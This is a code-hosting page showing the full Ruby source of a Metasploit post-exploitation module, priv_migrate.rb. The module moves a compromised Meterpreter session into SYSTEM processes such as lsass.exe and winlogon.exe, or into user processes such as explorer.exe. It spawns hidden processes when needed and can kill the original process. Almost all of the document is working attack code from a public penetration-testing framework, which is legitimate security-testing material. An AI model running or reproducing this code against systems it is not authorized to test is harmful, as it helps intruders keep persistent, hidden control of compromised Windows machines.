Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/priv_migrate.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv78DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]9DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Manage Privilege Based Process Migration ',16'Description' => %q{17This module will migrate a Meterpreter session based on session privileges.18It will do everything it can to migrate, including spawning a new User level process.19For sessions with Admin rights: It will try to migrate into a System level process in the following20order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.21If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:22It will try to migrate to a user level process, if that fails it will attempt to spawn the process23then migrate to it. It will attempt the User level processes in the following order:24NAME (if specified), explorer.exe, then notepad.exe.25},26'License' => MSF_LICENSE,27'Author' => [28'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',29'theLightCosine'30],31'Platform' => ['win' ],32'SessionTypes' => ['meterpreter' ],33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36core_migrate37stdapi_sys_config_getuid38stdapi_sys_process_attach39stdapi_sys_process_execute40stdapi_sys_process_get_processes41stdapi_sys_process_kill42]43}44}45)46)4748register_options(49[50OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),51OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),52OptBool.new('KILL', [true, 'Kill original session process.', false]),53OptBool.new('NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])54]55)56end5758def run59# Get current process information60@original_pid = client.sys.process.open.pid61@original_name = client.sys.process.open.name.downcase62print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")63unless migrate_admin64if is_admin? && !datastore['NOFAIL']65print_status('NOFAIL set to false, exiting module.')66return67end68migrate_user69end70end7172# This function returns the first process id of a process with the name provided.73# It will make sure that the process has a visible user meaning that the session has rights to that process.74# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.75#76# @return [Integer] the PID if one is found77# @return [NilClass] if no PID was found78def get_pid(proc_name)79processes = client.sys.process.get_processes80processes.each do |proc|81if proc['name'].downcase == proc_name && proc['user'] != ''82return proc['pid']83end84end85return nil86end8788# This function will try to kill the original session process89#90# @return [void] A useful return value is not expected here91def kill(proc_pid, proc_name)92if datastore['KILL']93begin94print_status("Trying to kill original process #{proc_name} (#{proc_pid})")95session.sys.process.kill(proc_pid)96print_good("Successfully killed process #{proc_name} (#{proc_pid})")97rescue ::Rex::Post::Meterpreter::RequestError => e98print_error("Could not kill original process #{proc_name} (#{proc_pid})")99print_error(e.to_s)100end101end102end103104# This function attempts to migrate to the specified process.105#106# @return [TrueClass] if it successfully migrated107# @return [FalseClass] if it failed to migrate108def migrate(target_pid, proc_name, current_pid)109if !target_pid110print_error("Could not migrate to #{proc_name}.")111return false112end113114print_status("Trying #{proc_name} (#{target_pid})")115116if target_pid == current_pid117print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")118return true119end120121begin122client.core.migrate(target_pid)123print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")124return true125rescue ::Rex::Post::Meterpreter::RequestError => e126print_error("Could not migrate to #{proc_name}.")127print_error(e.to_s)128return false129rescue ::Rex::RuntimeError => e130print_error("Could not migrate to #{proc_name}.")131print_error(e.to_s)132return false133end134end135136# Attempts to migrate into one of the Target Admin Processes.137#138# @return [TrueClass] if it successfully migrated139# @return [FalseClass] if it failed to migrate140def migrate_admin141if is_admin?142# Populate target array and Downcase all Targets143admin_targets = DEFAULT_ADMIN_TARGETS.dup144admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']145admin_targets.map!(&:downcase)146147if is_system?148print_status('Session is already Admin and System.')149if admin_targets.include? @original_name150print_good("Session is already in target process: #{@original_name}.")151return true152end153else154print_status('Session is Admin but not System.')155end156print_status('Will attempt to migrate to specified System level process.')157158# Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.159admin_targets.each do |target_name|160if migrate(get_pid(target_name), target_name, @original_pid)161kill(@original_pid, @original_name)162return true163end164end165print_error('Unable to migrate to any of the System level processes.')166else167print_status('Session has User level rights.')168end169false170end171172# Attempts to migrate to one of the Target User Processes173#174# @return [TrueClass] if it successfully migrated175# @return [FalseClass] if it failed to migrate176def migrate_user177# Populate Target Array and Downcase all Targets178user_targets = DEFAULT_USER_TARGETS.dup179user_targets.unshift(datastore['NAME']) if datastore['NAME']180user_targets.map!(&:downcase)181182print_status('Will attempt to migrate to a User level process.')183184# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.185user_targets.each do |target_name|186if migrate(get_pid(target_name), target_name, @original_pid)187kill(@original_pid, @original_name)188return true189end190191if migrate(spawn(target_name), target_name, @original_pid)192kill(@original_pid, @original_name)193return true194end195end196false197end198199# This function will attempt to spawn a new process of the type provided by the name.200#201# @return [Integer] the PID if the process spawned successfully202# @return [NilClass] if the spawn failed203def spawn(proc_name)204print_status("Attempting to spawn #{proc_name}")205proc = session.sys.process.execute(proc_name, nil, { 'Hidden' => true })206print_good("Successfully spawned #{proc_name}")207return proc.pid208rescue ::Rex::Post::Meterpreter::RequestError => e209print_error("Could not spawn #{proc_name}.")210print_error(e.to_s)211return nil212end213end214215216